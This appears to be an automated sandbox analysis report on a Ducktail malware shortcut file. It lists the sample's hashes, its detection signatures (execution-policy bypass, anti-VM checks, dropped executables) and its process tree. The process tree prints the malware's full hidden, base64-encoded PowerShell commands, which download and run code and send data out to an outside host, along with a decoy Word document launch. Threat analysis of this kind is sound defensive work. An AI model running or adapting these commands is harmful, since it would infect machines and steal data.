Edit tour
Windows
Analysis Report
MdmRznA6gx.lnk
Overview
General Information
| Sample name: | MdmRznA6gx.lnk |
| Analysis ID: | 1573018 |
| MD5: | e436af2f8e08b4ebd7335a75005c2355 |
| SHA1: | 59350c5f14c8e94dd49fa609abca2ed7c2cd8182 |
| SHA256: | df588335b83c2dc3f5877573821d9345b2cba4b80ade65e940bc065846c9c82c |
| Infos: |   |
 | |
Detection
Ducktail
| Score: | 100 |
| Range: | 0 - 100 |
| Whitelisted: | false |
| Confidence: | 100% |
Signatures
Antivirus detection for URL or domain
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Windows shortcut file (LNK) starts blacklisted processes
Yara detected Ducktail
Yara detected Powershell download and execute
Allows multiple concurrent remote connection
Bypasses PowerShell execution policy
Encrypted powershell cmdline option found
Found suspicious powershell code related to unpacking or dynamic code loading
Loading BitLocker PowerShell Module
Modifies security policies related information
PowerShell case anomaly found
Powershell drops PE file
Queries memory information (via WMI often done to detect virtual machines)
Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)
Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)
Queries sensitive physical memory information (via WMI, Win32_PhysicalMemory, often done to detect virtual machines)
Reads the Security eventlog
Reads the System eventlog
Sigma detected: Dot net compiler compiles file from suspicious location
Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
Sigma detected: PowerShell Base64 Encoded IEX Cmdlet
Sigma detected: PowerShell Base64 Encoded Invoke Keyword
Sigma detected: PowerShell Base64 Encoded WMI Classes
Sigma detected: Suspicious Encoded PowerShell Command Line
Sigma detected: Suspicious New Service Creation
Sigma detected: Suspicious PowerShell Encoded Command Patterns
Sigma detected: Suspicious PowerShell Invocations - Specific - PowerShell Module
Sigma detected: Suspicious PowerShell Parameter Substring
Suspicious powershell command line found
Uses known network protocols on non-standard ports
Uses regedit.exe to modify the Windows registry
AV process strings found (often used to terminate AV products)
Allocates memory with a write watch (potentially for evading sandboxes)
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Checks if the current process is being debugged
Compiles C# or VB.Net code
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates or modifies windows services
Deletes files inside the Windows folder
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Dropped file seen in connection with other malware
Drops PE files
Drops PE files to the windows directory (C:\Windows)
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
PE file contains sections with non-standard names
PE file contains strange resources
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: Change PowerShell Policies to an Insecure Level
Sigma detected: Dynamic .NET Compilation Via Csc.EXE
Sigma detected: Suspicious Execution of Powershell with Base64
Sigma detected: Suspicious PowerShell Invocations - Specific - ProcessCreation
Suricata IDS alerts with low severity for network traffic
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Very long command line found
Yara signature match
Classification
- System is w10x64native
cmd.exe (PID: 5756 cmdline: "C:\Window s\system32 \cmd.exe" /v /k "pow ERSheLl.EX E -WInDOwS tYle HiDdE N -encOdeD cOmmAnd "U wB0AGEAcgB 0AC0AUAByA G8AYwBlAHM AcwAgAHAAb wB3AGUAcgB zAGgAZQBsA GwAIAAtAFc AaQBuAGQAb wB3AFMAdAB 5AGwAZQAgA GgAaQBkAGQ AZQBuACAAL QBBAHIAZwB 1AG0AZQBuA HQATABpAHM AdAAgACIAL QBXAGkAbgB kAG8AdwBTA HQAeQBsAGU AIABIAGkAZ ABkAGUAbgA iACwAIAAiA C0ATgBvAEw AbwBnAG8AI gAsACAAIgA tAE4AbwBQA HIAbwBmAGk AbABlACIAL AAgACIALQB FAHgAZQBjA HUAdABpAG8 AbgBQAG8Ab ABpAGMAeQA gAEIAeQBwA GEAcwBzACI ALAAgACIAL QBFAG4AYwB vAGQAZQBkA EMAbwBtAG0 AYQBuAGQAI ABTAFEAQgB GAEEARgBnA EEASQBBAEE AbwBBAEYAc wBBAFYAQQB CAEYAQQBGA GcAQQBWAEE AQQB1AEEAR QBVAEEAVAB nAEIARABBA EUAOABBAFo AQQBCAHAAQ QBHADQAQQB SAHcAQgBkA EEARABvAEE ATwBnAEIAV gBBAEYAUQB BAFIAZwBBA DQAQQBDADQ AQQBSAHcAQ gBGAEEASAB RAEEAVQB3A EIAVQBBAEg ASQBBAFMAU QBCAE8AQQB FAGMAQQBLA EEAQQBvAEE ARQBrAEEAV gB3AEIAeQB BAEMAQQBBA EsAQQBCAGI AQQBGAE0AQ QBlAFEAQgB 6AEEASABRA EEAWgBRAEI AdABBAEMAN ABBAFYAQQB CAGwAQQBIA GcAQQBkAEE AQQB1AEEAR QBVAEEAYgB nAEIAagBBA EcAOABBAFo AQQBCAHAAQ QBHADQAQQB aAHcAQgBkA EEARABvAEE ATwBnAEIAV gBBAEYAUQB BAFIAZwBBA DQAQQBDADQ AQQBSAHcAQ gBsAEEASAB RAEEAVQB3A EIAMABBAEg ASQBBAGEAU QBCAHUAQQB HAGMAQQBLA EEAQgBiAEE ARQBNAEEAY gB3AEIAdQB BAEgAWQBBA FoAUQBCAHk AQQBIAFEAQ QBYAFEAQQA 2AEEARABvA EEAUgBnAEI AeQBBAEcAO ABBAGIAUQB CAEMAQQBHA EUAQQBjAHc AQgBsAEEAR ABZAEEATgB BAEIAVABBA EgAUQBBAGM AZwBCAHAAQ QBHADQAQQB aAHcAQQBvA EEAQwBJAEE AWQBRAEIAS QBBAEYASQB BAE0AQQBCA GoAQQBFAGc AQQBUAFEAQ QAyAEEARQB 3AEEAZQBRA EEANQBBAEc AbwBBAFkAZ wBBAHkAQQB FADQAQQBkA GcAQgBpAEE ARgBjAEEAV gBnAEEAdwB BAEcARQBBA FIAdwBBADU AQQBHAHMAQ QBXAGcAQgB UAEEARABVA EEAYQB3AEI AYQBBAEYAT QBBAE8AUQB CAGgAQQBGA G8AQQBRAFE AQQA5AEEAR AAwAEEASQB nAEEAcABBA EMAawBBAEs AUQBBAHAAQ QBDADQAQQB RAHcAQgBQA EEARQA0AEE AZABBAEIAR gBBAEUANAB BAGQAQQBBA HAAQQBDAGs AQQAiAA==" " && exit MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 5368 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68) 
powershell.exe (PID: 7808 cmdline: powERSheLl .EXE -WInD OwStYle Hi DdEN -encO deDcOmmAnd "UwB0AGEA cgB0AC0AUA ByAG8AYwBl AHMAcwAgAH AAbwB3AGUA cgBzAGgAZQ BsAGwAIAAt AFcAaQBuAG QAbwB3AFMA dAB5AGwAZQ AgAGgAaQBk AGQAZQBuAC AALQBBAHIA ZwB1AG0AZQ BuAHQATABp AHMAdAAgAC IALQBXAGkA bgBkAG8Adw BTAHQAeQBs AGUAIABIAG kAZABkAGUA bgAiACwAIA AiAC0ATgBv AEwAbwBnAG 8AIgAsACAA IgAtAE4Abw BQAHIAbwBm AGkAbABlAC IALAAgACIA LQBFAHgAZQ BjAHUAdABp AG8AbgBQAG 8AbABpAGMA eQAgAEIAeQ BwAGEAcwBz ACIALAAgAC IALQBFAG4A YwBvAGQAZQ BkAEMAbwBt AG0AYQBuAG QAIABTAFEA QgBGAEEARg BnAEEASQBB AEEAbwBBAE YAcwBBAFYA QQBCAEYAQQ BGAGcAQQBW AEEAQQB1AE EARQBVAEEA VABnAEIARA BBAEUAOABB AFoAQQBCAH AAQQBHADQA QQBSAHcAQg BkAEEARABv AEEATwBnAE IAVgBBAEYA UQBBAFIAZw BBADQAQQBD ADQAQQBSAH cAQgBGAEEA SABRAEEAVQ B3AEIAVQBB AEgASQBBAF MAUQBCAE8A QQBFAGMAQQ BLAEEAQQBv AEEARQBrAE EAVgB3AEIA eQBBAEMAQQ BBAEsAQQBC AGIAQQBGAE 0AQQBlAFEA QgB6AEEASA BRAEEAWgBR AEIAdABBAE MANABBAFYA QQBCAGwAQQ BIAGcAQQBk AEEAQQB1AE EARQBVAEEA YgBnAEIAag BBAEcAOABB AFoAQQBCAH AAQQBHADQA QQBaAHcAQg BkAEEARABv AEEATwBnAE IAVgBBAEYA UQBBAFIAZw BBADQAQQBD ADQAQQBSAH cAQgBsAEEA SABRAEEAVQ B3AEIAMABB AEgASQBBAG EAUQBCAHUA QQBHAGMAQQ BLAEEAQgBi AEEARQBNAE EAYgB3AEIA dQBBAEgAWQ BBAFoAUQBC AHkAQQBIAF EAQQBYAFEA QQA2AEEARA BvAEEAUgBn AEIAeQBBAE cAOABBAGIA UQBCAEMAQQ BHAEUAQQBj AHcAQgBsAE EARABZAEEA TgBBAEIAVA BBAEgAUQBB AGMAZwBCAH AAQQBHADQA QQBaAHcAQQ BvAEEAQwBJ AEEAWQBRAE IASQBBAEYA SQBBAE0AQQ BCAGoAQQBF AGcAQQBUAF EAQQAyAEEA RQB3AEEAZQ BRAEEANQBB AEcAbwBBAF kAZwBBAHkA QQBFADQAQQ BkAGcAQgBp AEEARgBjAE EAVgBnAEEA dwBBAEcARQ BBAFIAdwBB ADUAQQBHAH MAQQBXAGcA QgBUAEEARA BVAEEAYQB3 AEIAYQBBAE YATQBBAE8A UQBCAGgAQQ BGAG8AQQBR AFEAQQA5AE EARAAwAEEA SQBnAEEAcA BBAEMAawBB AEsAUQBBAH AAQQBDADQA QQBRAHcAQg BQAEEARQA0 AEEAZABBAE IARgBBAEUA NABBAGQAQQ BBAHAAQQBD AGsAQQAiAA ==" MD5: 04029E121A0CFA5991749937DD22A1D9) - powershell.exe (PID: 4780 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -WindowSty le Hidden -NoLogo -N oProfile - ExecutionP olicy Bypa ss -Encode dCommand S QBFAFgAIAA oAFsAVABFA FgAVAAuAEU ATgBDAE8AZ ABpAG4ARwB dADoAOgBVA FQARgA4AC4 ARwBFAHQAU wBUAHIASQB OAEcAKAAoA EkAVwByACA AKABbAFMAe QBzAHQAZQB tAC4AVABlA HgAdAAuAEU AbgBjAG8AZ ABpAG4AZwB dADoAOgBVA FQARgA4AC4 ARwBlAHQAU wB0AHIAaQB uAGcAKABbA EMAbwBuAHY AZQByAHQAX QA6ADoARgB yAG8AbQBCA GEAcwBlADY ANABTAHQAc gBpAG4AZwA oACIAYQBIA FIAMABjAEg ATQA2AEwAe QA5AGoAYgA yAE4AdgBiA FcAVgAwAGE ARwA5AGsAW gBTADUAawB aAFMAOQBhA FoAQQA9AD0 AIgApACkAK QApAC4AQwB PAE4AdABFA E4AdAApACk A MD5: 04029E121A0CFA5991749937DD22A1D9) - conhost.exe (PID: 2400 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68) 
csc.exe (PID: 8388 cmdline: "C:\Window s\Microsof t.NET\Fram ework64\v4 .0.30319\c sc.exe" /n oconfig /f ullpaths @ "C:\Users\ user\AppDa ta\Local\T emp\oho2nq xk\oho2nqx k.cmdline" MD5: F65B029562077B648A6A5F6A1AA76A66) - cvtres.exe (PID: 8412 cmdline:
C:\Windows \Microsoft .NET\Frame work64\v4. 0.30319\cv tres.exe / NOLOGO /RE ADONLY /MA CHINE:IX86 "/OUT:C:\ Users\user \AppData\L ocal\Temp\ RES2347.tm p" "c:\Use rs\user\Ap pData\Loca l\Temp\oho 2nqxk\CSC3 3DBF5592E3 045FEA3FE2 03350D9DA4 A.TMP" MD5: C877CBB966EA5939AA2A17B6A5160950) - powershell.exe (PID: 8528 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -Version 5 .1 -s -NoL ogo -NoPro file MD5: 04029E121A0CFA5991749937DD22A1D9) - conhost.exe (PID: 8536 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68) 
WINWORD.EXE (PID: 8800 cmdline: "C:\Progra m Files\Mi crosoft Of fice\Root\ Office16\W INWORD.EXE " /n "C:\U sers\user\ AppData\Lo cal\Temp\M eeting-Reg istration- Form.docx. docx" /o " " MD5: E7F3B8EA1B06F46176FC5C35307727D6) - cmd.exe (PID: 8840 cmdline:
"C:\Window s\system32 \cmd.exe" /c start / min "" pow ershell.ex e -WindowS tyle hidde n -NoLogo -NoProfile -Executio nPolicy by pass -Enco dedCommand JAB1AHIAa QAgAD0AIAA iAGgAdAB0A HAAcwA6AC8 ALwBjAG8AY wBvAG0AZQB 0AGgAbwBkA GUALgBkAGU ALwBmAGkAb ABlADIALwA 4AGEAOAA0A GMAMwA2ADA AOQAzADIAM wBkAGUANgB jAGQAOQBjA DIANQBhADE AOAA1ADEAZ AAwAGQAYwB kADgAYQAyA GYAMwBiADA AOQA3ADcAN gBiAGYAOAB lADcAZAA0A GQANgA0ADA AMgBhADYAN wAyADAAYwA xAGEAZABkA DgAOQBhADI AMwBkADUAZ QBkADEAMgB lADAANQBjA GYAMgBmADU AMwBkADcAY gAwADEANQB lADcANgBiA GQANQBiADg AMgAyADMAO QA5ADgANwB jADAANAA5A GQAZQBmAGI AOQBiAGUAN wA3ADcANQB mADAAYgA1A DAAZQAxADM AMABkADgAZ ABiAGUAZAB lADQANQA4A DgAYQAwADY AZQAwAGIAY gAwADUANgA 4AGIAYwA5A GQAYwA1AGE AOQA1ADkAM AA1ADgAZAA xAGIAOQA4A DcAMwAyAGI AYgA4AGQAY QA0AGMAMAA 3AGQAYgBiA DUANgA3AGY AOQAzAGYAM wA3ADAANgB kAGQANgAyA GYAZAAyADE AZgA1AGUAY QBlADEANwA yAGQANQAwA DIANgBjAGQ AZAA1ADIAN wA5AGYAIgA 7AA0ACgAkA GMAbwB1AG4 AdAAgAD0AI AAxADAAMAA 7AA0ACgANA AoADQAKAA0 ACgBmAHUAb gBjAHQAaQB vAG4AIABTA GUAbgBkACA AewANAAoAI AAgACAAIAB wAGEAcgBhA G0AKAAgAFs AUABTAE8AY gBqAGUAYwB 0AF0AIAAkA GwAbwBnAE0 AcwBnACAAK QANAAoADQA KACAAIAAgA CAAIwAgAEM AbwBuAHYAZ QByAHQAIAB iAG8AZAB5A CAAdABvACA AcwB0AHIAa QBuAGcADQA KACAAIAAgA CAAJABzAHQ AcgBpAG4AZ wBCAG8AZAB 5ACAAPQAgA FsAcwB0AHI AaQBuAGcAX QAoACQAbAB vAGcATQBzA GcAIAB8ACA AQwBvAG4Ad gBlAHIAdAB UAG8ALQBKA HMAbwBuACk AOwANAAoAI AAgACAAIAA kAGwAbwBnA E0AZQBzAHM AYQBnAGUAc wAgAD0AIAB AACgAKQA7A A0ACgAgACA AIAAgACQAb ABvAGcATQB lAHMAcwBhA GcAZQBzACA AKwA9ACAAJ ABzAHQAcgB pAG4AZwBCA G8AZAB5ADs ADQAKACAAI AAgACAAJAB sAG8AZwBNA GUAcwBzAGE AZwBlAHMAI AArAD0AIAA iAC0ALQAtA C0ALQAtAC0 ALQAtAC0AI gA7AA0ACgA NAAoAIAAgA CAAIAAkAGg AZQBhAGQAZ QByAHMAIAA 9ACAAQAB7A H0AOwANAAo AIAAgACAAI AAkAGsAZQB 5ACAAPQAgA CIAQwBvAG4 AdABlAG4Ad AAtAFQAeQB wAGUAIgA7A A0ACgAgACA AIAAgACQAd gBhAGwAdQB lACAAPQAgA CIAYQBwAHA AbABpAGMAY QB0AGkAbwB uAC8AagBzA G8AbgAiADs ADQAKAA0AC gAgACAAIAA gACQAaABlA GEAZABlAHI AcwBbACQAa wBlAHkAXQA gAD0AIAAkA HYAYQBsAHU AZQA7AA0AC gAgACAAIAA gACQAdQByA GkAIAA9ACA AIgBMAE8AR wBVAFIATAA iADsADQAKA CAAIAAgACA AdAByAHkAD QAKACAAIAA gACAAIAAgA CAAIAB7AA0 ACgAgACAAI AAgACAAIAA gACAAIAAgA CAAIAAkAGI AbwBkAHkAI AA9ACAAJAB sAG8AZwBNA GUAcwBzAGE AZwBlAHMAI AB8ACAAQwB vAG4AdgBlA HIAdABUAG8 ALQBKAHMAb wBuADsADQA KACAAIAAgA CAAIAAgACA AIAAgACAAI AAgAEkAbgB 2AG8AawBlA C0AVwBlAGI AUgBlAHEAd QBlAHMAdAA gAC0AVQByA GkAIAAkAHU AcgBpACAAL QBNAGUAdAB oAG8AZAAgA FAAbwBzAHQ AIAAtAEgAZ QBhAGQAZQB yAHMAIAAkA GgAZQBhAGQ AZQByAHMAI AAtAEIAbwB kAHkAIAAkA GIAbwBkAHk ADQAKACAAI AAgACAAIAA gACAAIAB9A A0ACgAgACA AIAAgACAAI AAgACAAYwB hAHQAYwBoA HsADQAKACA AIAAgACAAI AAgACAAIAA gACAAIAAgA A0ACgAgACA AIAAgACAAI AAgACAAfQA